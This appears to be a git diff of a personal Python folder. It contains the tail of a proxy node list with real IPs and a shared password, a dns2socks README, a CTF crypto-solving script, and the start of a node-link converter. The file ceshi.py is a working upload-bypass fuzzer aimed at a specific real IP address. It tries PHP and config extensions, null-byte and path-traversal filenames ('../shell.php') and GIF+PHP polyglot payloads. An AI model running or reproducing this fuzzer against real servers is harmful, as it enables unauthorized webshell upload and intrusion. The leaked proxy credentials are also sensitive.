"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线008",
"server": "103.238.186.113",
"port": 22410,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线850",
"server": "14.119.67.103",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线666",
"server": "183.232.156.113",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线416",
"server": "43.250.146.218",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线888",
"server": "106.38.203.3",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "俄罗斯专线362",
"server": "106.38.203.6",
"port": 10009,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线551",
"server": "120.232.206.60",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线556",
"server": "59.37.81.97",
"port": 10001,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线537",
"server": "14.17.92.154",
"port": 10001,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线277",
"server": "120.232.206.63",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线584",
"server": "122.13.18.49",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线38",
"server": "59.37.81.101",
"port": 10006,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线752",
"server": "122.13.18.60",
"port": 10007,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线186",
"server": "120.232.206.58",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线986",
"server": "183.60.131.148",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线173",
"server": "120.232.206.58",
"port": 10004,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线158",
"server": "157.148.132.41",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线164",
"server": "101.227.72.144",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "韩国专线164",
"server": "202.101.51.180",
"port": 22404,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "韩国专线827",
"server": "202.101.50.6",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线466",
"server": "14.119.67.103",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "首尔专线384",
"server": "112.54.161.38",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线716",
"server": "157.148.132.41",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "台湾专线617",
"server": "157.148.132.41",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
},
{
"name": "香港专线361",
"server": "183.60.131.171",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线151",
"server": "157.148.133.141",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线613",
"server": "223.71.245.177",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "北美专线842",
"server": "112.54.160.17",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "台湾专线246",
"server": "111.45.33.43",
"port": 10005,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "新加坡专线247",
"server": "14.119.67.103",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "韩国专线273",
"server": "210.51.35.132",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "俄罗斯专线135",
"server": "223.71.245.185",
"port": 10008,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "俄罗斯专线945",
"server": "106.38.203.6",
"port": 10010,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线934",
"server": "103.238.186.112",
"port": 22410,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线549",
"server": "117.143.9.43",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "亚服专线249",
"server": "210.51.35.253",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线328",
"server": "117.143.9.7",
"port": 22405,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线162",
"server": "59.37.81.97",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线635",
"server": "120.241.69.108",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线165",
"server": "120.232.206.21",
"port": 10007,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线671",
"server": "183.60.131.171",
"port": 10003,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线824",
"server": "120.232.206.21",
"port": 10005,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "香港专线883",
"server": "183.60.131.160",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "国际专线375",
"server": "122.13.18.55",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "国际专线372",
"server": "183.60.131.170",
"port": 10001,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "国际专线685",
"server": "120.232.206.62",
"port": 10000,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线200",
"server": "223.71.245.176",
"port": 22407,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "欧洲专线9",
"server": "106.38.203.3",
"port": 22406,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线95",
"server": "101.227.83.37",
"port": 10002,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "日服专线146",
"server": "101.227.83.37",
"port": 10001,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
},
{
"name": "new",
"server": "203.234.200.191",
"port": 445,
"password": "dwz1GtF7",
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
}
],
"selected": 17,
"listen_host": "0.0.0.0",
"listen_port": 59999,
"log_level": "INFO"
}

45
python/README.md Normal file
View File

@ -0,0 +1,45 @@
# dns2socks
[![Crates.io](https://img.shields.io/crates/v/dns2socks.svg)](https://crates.io/crates/dns2socks)
![dns2socks](https://docs.rs/dns2socks/badge.svg)
[![Documentation](https://img.shields.io/badge/docs-release-brightgreen.svg?style=flat)](https://docs.rs/dns2socks)
[![Download](https://img.shields.io/crates/d/dns2socks.svg)](https://crates.io/crates/dns2socks)
[![License](https://img.shields.io/crates/l/dns2socks.svg?style=flat)](https://github.com/ssrlive/dns2socks/blob/master/LICENSE)
A DNS server that forwards DNS requests to a SOCKS5 server.
## Installation
### Precompiled Binaries
Download binary from [releases](https://github.com/ssrlive/dns2socks/releases) and put it in your `$PATH`.
### Install from Crates.io
If you have [Rust](https://rustup.rs/) toolchain installed, you can install `dns2socks` with the following command:
```sh
cargo install dns2socks
```
## Usage
```plaintext
dns2socks -h
Proxy server to routing DNS query to SOCKS5 server
Usage: dns2socks [OPTIONS]
Options:
-l, --listen-addr <IP:port> Listen address [default: 0.0.0.0:53]
-d, --dns-remote-server <IP:port> Remote DNS server address [default: 8.8.8.8:53]
-s, --socks5-server <IP:port> SOCKS5 proxy server address [default: 127.0.0.1:1080]
-u, --username <user name> User name for SOCKS5 authentication
-p, --password <password> Password for SOCKS5 authentication
-f, --force-tcp Force to use TCP to proxy DNS query
-c, --cache-records Cache DNS query records
-v, --verbosity <level> Verbosity level [default: info] [possible values: off, error, warn, info, debug, trace]
-t, --timeout <seconds> Timeout for DNS query [default: 5]
-h, --help Print help
-V, --version Print version
```

212
python/ceshi.py Normal file
View File

@ -0,0 +1,212 @@
import requests
import os
import random
import string
from urllib.parse import quote
# --- 配置 ---
TARGET_URL = 'https://150.40.239.108/ucard_upload.php'
TEST_CONTENT = b'This is a test file content.'
LOG_FILE = "upload_test_log.txt"
if not os.path.exists('test.tmp'):
with open('test.tmp', 'wb') as f:
f.write(TEST_CONTENT)
def log_write(msg):
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(msg + "\n")
def print_banner(title):
banner = f"\n{'=' * 60}\n[*] {title}\n{'=' * 60}"
print(banner)
log_write(banner)
def perform_upload(filename, content, content_type='application/octet-stream', extra_headers=None, extra_data=None):
files = {'file': (filename, content, content_type)}
try:
r = requests.post(TARGET_URL, files=files, data=extra_data, headers=extra_headers, timeout=5)
if "success" in r.text.lower():
return True, r.text
else:
return False, r.text
except Exception as e:
return False, str(e)
def fuzz_extensions():
print_banner("1. 探测文件扩展名")
ext_groups = {
"Web脚本": ['.php', '.php3', '.php4', '.php5', '.phtml', '.phar', '.pht', '.inc', '.phps'],
"Web配置": ['.htaccess', '.user.ini', '.web.config', '.htpasswd'],
"常见文件": ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.txt', '.html', '.zip', '.pdf', '.docx'],
"可执行文件": ['.exe', '.bat', '.cmd', '.sh', '.ps1'],
"其他脚本": ['.jsp', '.asp', '.aspx', '.pl', '.py', '.cgi', '.rb'],
"特殊类型": ['.svg', '.xml', '.json', '.log', '.swf', '.jar']
}
allowed = []
for group, exts in ext_groups.items():
print(f"\n--- {group} ---")
for ext in exts:
filename = f"test{ext}"
success, resp = perform_upload(filename, TEST_CONTENT)
status = "✅ ALLOWED" if success else "❌ DENIED"
print(f"{ext:<10} {status}")
if success:
allowed.append(ext)
log_write(f"[+] Allowed extension: {ext}")
print("\n--- [结论] ---")
if allowed:
print(f"✅ 允许的扩展名: {', '.join(allowed)}")
log_write(f"[结论] 允许的扩展名: {', '.join(allowed)}")
else:
print("❌ 未发现允许的扩展名")
log_write("[结论] 未发现允许的扩展名")
return allowed
def fuzz_filename_tricks(allowed_ext):
if not allowed_ext:
return
base_ext = allowed_ext[0]
print_banner(f"2. 文件名绕过技巧 (基础扩展名: {base_ext})")
tricks = {
"大小写混淆": f"SHeLL.PHP",
"双扩展名1": f"shell.php{base_ext}",
"双扩展名2": f"shell{base_ext}.php",
"末尾加点": f"shell.php.",
"末尾空格": f"shell.php ",
"::$DATA": f"shell.php::$DATA",
"空字节截断": f"shell.php%00.jpg",
"换行符": f"shell.php\n",
"URL编码": f"sh%65ll.php",
"超长后缀": f"shell.{'a'*100}",
"非ASCII字符": f"shell中文.php",
"路径穿越": f"../shell.php",
"多后缀组合": f"shell.php.{base_ext}.png",
"分号截断": f"shell.php;.jpg",
"反斜杠": f"shell\\.php",
"双引号包裹": f'"shell.php"'
}
for desc, fname in tricks.items():
success, _ = perform_upload(fname, TEST_CONTENT)
status = "✅ SUCCESS" if success else "❌ FAILED"
print(f"{desc:<20} -> {fname:<30} {status}")
if success:
log_write(f"[+] Filename trick success: {desc} | {fname}")
def fuzz_content_types(allowed_ext):
if not allowed_ext:
return
base_ext = allowed_ext[0]
print_banner(f"3. Content-Type 绕过检测 (文件: test{base_ext})")
ctypes = [
'image/jpeg', 'image/png', 'image/gif', 'image/bmp',
'text/plain', 'text/html', 'text/xml',
'application/octet-stream', 'application/x-php', 'application/json',
'multipart/form-data', 'application/x-www-form-urlencoded',
'application/zip', 'application/pdf',
'invalid/type'
]
for ct in ctypes:
filename = f"test{base_ext}"
success, _ = perform_upload(filename, TEST_CONTENT, content_type=ct)
status = "✅ ACCEPT" if success else "❌ REJECT"
print(f"{ct:<30} -> {status}")
if success:
log_write(f"[+] Content-Type bypass: {ct}")
def fuzz_content(allowed_ext):
if not allowed_ext:
return
base_ext = allowed_ext[0]
print_banner(f"4. 文件内容绕过检测 (扩展名: {base_ext})")
gif_header = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'
contents = {
"纯文本": b"Hello world",
"GIF文件头": gif_header,
"PHP标签": b"<?php phpinfo(); ?>",
"短标签": b"<?=phpinfo()?>",
"GIF+PHP": gif_header + b"<?php phpinfo(); ?>",
"PHP+GIF": b"<?php phpinfo(); ?>" + gif_header,
"JS脚本": b"<script>alert(1)</script>",
"HTML+PHP": b"<html><?php echo 'x'; ?></html>",
"Base64编码PHP": b"PD9waHAgcGhwaW5mbygpOyA/Pg==",
"UTF-16 BOM + PHP": b'\xff\xfe<?php phpinfo(); ?>',
"注释包裹PHP": b"/* <?php phpinfo(); ?> */",
"空字节截断内容": b"<?php\x00",
"超大文件": b'A' * 100000
}
for desc, payload in contents.items():
fname = f"content_test{base_ext}"
success, _ = perform_upload(fname, payload)
status = "✅ UPLOADED" if success else "❌ BLOCKED"
print(f"{desc:<20} -> {status}")
if success:
log_write(f"[+] Content bypass: {desc}")
def fuzz_headers_and_params(allowed_ext):
if not allowed_ext:
return
base_ext = allowed_ext[0]
print_banner(f"5. 请求头与参数绕过检测")
headers_list = [
{"User-Agent": "Mozilla/5.0"},
{"User-Agent": "curl/7.68.0"},
{"X-Forwarded-For": "127.0.0.1"},
{"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryABC"},
{"Referer": TARGET_URL},
{"Authorization": "Basic dXNlcjpwYXNz"},
{"Cookie": "sessionid=abc123"}
]
for i, headers in enumerate(headers_list):
fname = f"header_test{i}{base_ext}"
success, _ = perform_upload(fname, TEST_CONTENT, extra_headers=headers)
status = "✅ SUCCESS" if success else "❌ FAILED"
print(f"Header Set {i+1} -> {status}")
if success:
log_write(f"[+] Header bypass set {i+1}: {headers}")
print("\n--- 多参数测试 ---")
multi_params = [
{"file": ("test.php", TEST_CONTENT), "name": "test.jpg"},
{"file": ("test.jpg", TEST_CONTENT), "upload": "1"},
{"file": ("test.php", TEST_CONTENT), "type": "image/jpeg"},
{"file": ("test.php", TEST_CONTENT), "token": "fake_csrf_token"}
]
for i, params in enumerate(multi_params):
try:
r = requests.post(TARGET_URL, files=params, timeout=5)
success = "success" in r.text.lower()
status = "✅ SUCCESS" if success else "❌ FAILED"
print(f"Multi-param {i+1} -> {status}")
if success:
log_write(f"[+] Multi-param bypass {i+1}: {params}")
except Exception as e:
print(f"Multi-param {i+1} -> ERROR: {e}")
# --- 主执行 ---
if __name__ == '__main__':
allowed = fuzz_extensions()
if allowed:
fuzz_filename_tricks(allowed)
fuzz_content_types(allowed)
fuzz_content(allowed)
fuzz_headers_and_params(allowed)
else:
print("\n[!] 未发现任何允许的扩展名,后续测试无法进行。")
if os.path.exists("test.tmp"):
os.remove("test.tmp")
print("\n[*] 所有测试完成,日志已写入 upload_test_log.txt")

152
python/ceshi1.py Normal file
View File

@ -0,0 +1,152 @@
# -*- coding: utf-8 -*-
"""
CTF 解密脚本Morse + Zero-Width + Ascii85 + AES(多模式试探)
用法python solve_flag.py
"""
from __future__ import annotations
from typing import List, Tuple
import base64, hashlib, itertools
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# ---- 题面(保持 HTML 实体,不要手改)----
RAW = """...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwj;&#xFEFF;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwj;&zwj;.- . --... &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwnj;&#xFEFF;...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&#xFEFF; --...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&zwj; .--- -&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwj;&zwj;.-. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwj;&zwnj;-- .-. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&#xFEFF;.--&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwnj;&#xFEFF; -.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwnj;&#x202C;.. -.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&#x202C;&zwj;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwj;&zwnj; --&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&#xFEFF;. -. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwj;&#xFEFF;.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&#xFEFF;--- -.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwnj;&#x202C;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&#xFEFF;&zwnj;.- ...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwj;&zwnj;.- .-. &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#x202C;&zwj;&#x202C;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&zwj;..&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwnj;&zwj;.- &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwnj;&zwj;-. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&#x202C;&#x202C;.&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&#x202C;...-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwj;&#xFEFF; &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwnj;&#xFEFF;...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&#x202C;&zwnj;.- -- ..&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&#xFEFF;..&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwj;&zwj;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwj;&zwnj; &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwnj;&#xFEFF;-.&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwj;&zwnj;-.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwnj;&#x202C;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwj;&#x202C; .. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwj;&#x202C;.... ..&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwj;&zwj;..&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwj;&zwnj; .&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwj;&#xFEFF;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&zwnj;&#x202C;- &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwj;&#x202C;.. .&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&#x202C;&zwj;--&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#x202C;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#xFEFF;&#x202C;- &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwj;&#xFEFF;-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwj;&zwj;-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#x202C;&#x202C;-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#xFEFF;&zwj;-.&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&#x202C;&zwnj; ..-. .&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#x202C;&zwj;-- -. ...&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#x202C;&#xFEFF;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&#x202C;&zwj; &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#xFEFF;&#xFEFF;.---&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwnj;&#xFEFF;&zwnj; &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&zwnj;..&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&zwj;&zwnj;&zwnj;-&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#x202C;&zwj;&#x202C; -&zwj;&#xFEFF;&#xFEFF;&#x202C;&#xFEFF;&#xFEFF;&zwj;&zwnj;&zwj;&zwj;&zwj;&zwnj;&zwnj;&zwnj;&#x202C;&zwj;- .-- &zwj;&zwj;&#xFEFF;&zwnj;&zwnj;&#xFEFF;&#xFEFF;&zwnj;.&zwj;&zwnj;&#xFEFF;&#x202C;&#x202C;&zwj;&#x202C;&#x202C;.&zwj;&zwj;&zwnj;&#x202C;&#x202C;&#x202C;&zwnj;&zwnj;&zwj;&zwj;&#x202C;&#xFEFF;&#xFEFF;&zwnj;&zwj;&#x202C;-. &zwj;&zwj;&zwj;&zwnj;&#x202C;&zwnj;&#xFEFF;&zwnj;.&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwnj;&#x202C;. &zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwnj;&zwj;--..&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&zwnj;&#xFEFF;. -..-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#x202C;&zwj;&zwj; ...&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&#xFEFF; ...&zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&#xFEFF;&zwnj;&#x202C;-- &zwj;&zwj;&zwj;&zwj;&#x202C;&#xFEFF;&zwj;&zwj;-.-&zwnj;&zwnj;&zwnj;&zwnj;&zwj;&#xFEFF;&#xFEFF;&#x202C;. .. 还真是!实际上是这样"""
# ---- Step1: 提取摩斯并 Base62 → 36B 密钥素材 ----
import html as _html
MORSE = {".-":"A","-...":"B","-.-.":"C","-..":"D",".":"E","..-.":"F","--.":"G","....":"H","..":"I",
".---":"J","-.-":"K",".-..":"L","--":"M","-.":"N","---":"O",".--.":"P","--.-":"Q",".-.":"R",
"...":"S","-":"T","..-":"U","...-":"V",".--":"W","-..-":"X","-.--":"Y","--..":"Z",
"-----":"0",".----":"1","..---":"2","...--":"3","....-":"4",".....":"5","-....":"6",
"--...":"7","---..":"8","----.":"9"}
decoded = _html.unescape(RAW)
morse_only = ''.join(ch for ch in decoded if ch in '.- ')
morse_text = ''.join(MORSE.get(tok, '?') for tok in morse_only.split())
# Base62 解码
import string
B62 = string.digits + string.ascii_uppercase + string.ascii_lowercase
val = 0
for ch in morse_text:
val = val * 62 + B62.index(ch)
b62_bytes = val.to_bytes((val.bit_length()+7)//8, 'big') or b'\x00'
# ---- Step2: 解析零宽 → Ascii85 → 密文字节 ----
ZWS = (0x200C, 0x200D, 0xFEFF, 0x202C) # ZWNJ, ZWJ, ZWNBSP, PDF
codes = [ord(c) for c in decoded if ord(c) in ZWS]
def ascii85_candidates() -> List[bytes]:
out: List[bytes] = []
for perm in itertools.permutations(ZWS, 4):
mp = {perm[i]: format(i, '02b') for i in range(4)}
bits = ''.join(mp[c] for c in codes)
for off in range(8):
bbits = bits[off:][:len(bits[off:])//8*8]
if not bbits: continue
data = int(bbits, 2).to_bytes(len(bbits)//8, 'big')
for take in (data, data[0::2], data[1::2]): # 全量/偶/奇抽样
s = bytes(ch for ch in take if 33 <= ch <= 117 or ch == 122) # 过滤到 Ascii85 合法区
if len(s) < 20:
continue
try:
blob = base64.a85decode(s, adobe=False)
out.append(blob)
except Exception:
pass
# 去重
uniq: List[bytes] = []
seen = set()
for b in out:
h = hashlib.sha1(b).hexdigest()
if h not in seen:
uniq.append(b); seen.add(h)
return uniq
a85_blobs = ascii85_candidates()
assert a85_blobs, "没解析到任何 Ascii85 候选;请确认文本原样未被改动"
# ---- Step3: 生成密钥候选16/24/32----
def key_candidates() -> List[bytes]:
C: List[bytes] = []
srcs = [morse_text.encode(), b62_bytes]
for s in srcs:
C += [hashlib.md5(s).digest(),
hashlib.sha1(s).digest()[:16],
hashlib.sha256(s).digest(),
hashlib.blake2b(s, digest_size=32).digest()]
# 额外:直接取 b62 的前/后 16/24/32
for L in (16,24,32):
C += [b62_bytes[:L].ljust(L, b'\0'),
b62_bytes[-L:].rjust(L, b'\0')]
# 去重
uniq: List[bytes] = []
seen = set()
for k in C:
h = (len(k), hashlib.sha1(k).hexdigest())
if h not in seen:
uniq.append(k); seen.add(h)
return uniq
KEYS = key_candidates()
# ---- Step4: 穷举 AES 模式与 IV/nonce 切分,命中 flag ----
def try_ctr(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]:
outs = []
L = len(ct)
for split in range(4, min(24, L-4)):
iv = ct[:split]; body = ct[split:]
for nonce_len in range(0, min(15, split)+1):
nonce = iv[:nonce_len]; rem = iv[nonce_len:]
for name, init in (("zero", 0),
("rem_be", int.from_bytes(rem, "big") if rem else 0),
("rem_le", int.from_bytes(rem[::-1], "big") if rem else 0)):
try:
pt = AES.new(key, AES.MODE_CTR, nonce=nonce, initial_value=init).decrypt(body)
outs.append((f"CTR split={split} nonce={nonce_len} init={name}", pt))
except Exception:
pass
return outs
def try_stream_modes(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]:
outs = []
L = len(ct)
# CFB/OFB 尝试 iv 在前/后
for mode_name, MODE in (("CFB", AES.MODE_CFB), ("OFB", AES.MODE_OFB)):
for ivpos in ("head","tail"):
if L <= 16: continue
iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16])
try:
pt = AES.new(key, MODE, iv=iv).decrypt(body)
outs.append((f"{mode_name} iv={ivpos}", pt))
except Exception:
pass
# CBC尽管不太像
for ivpos in ("head","tail"):
if L <= 16: continue
iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16])
body = body[:len(body)//16*16]
try:
raw = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(body)
try: pt = unpad(raw, 16)
except Exception: pt = raw
outs.append((f"CBC iv={ivpos}", pt))
except Exception:
pass
return outs
def solve() -> None:
# 先打印你要的两个“中间产物”,便于复核
print("[MORSE] =", morse_text)
print("[B62 hex] =", b62_bytes.hex())
# 遍历所有密文候选 × 密钥候选 × 模式
for blob in a85_blobs:
for key in KEYS:
for tag, pt in try_ctr(blob, key) + try_stream_modes(blob, key):
s = pt.decode("utf-8", "ignore")
if "flag{" in s.lower():
print("[HIT]", tag, "key_len=", len(key))
print(s)
return
print("[X] 未命中。可再加GCM(带不同 tag 长度)、XOR-探测、zlib 解压后再试。")
if __name__ == "__main__":
solve()

132
python/converter.py Normal file
View File

@ -0,0 +1,132 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
将自定义节点 JSON 转换为可导入 GUI ss:// 链接
用法:
python to_ss_links.py -i nodes.json -o links.txt
JSON 输入可为:
- 单个对象
- 对象数组
字段映射:
- 仅处理 method == "aes-256-cfb" (不区分大小写)
- server -> 主机
- server_port -> 端口
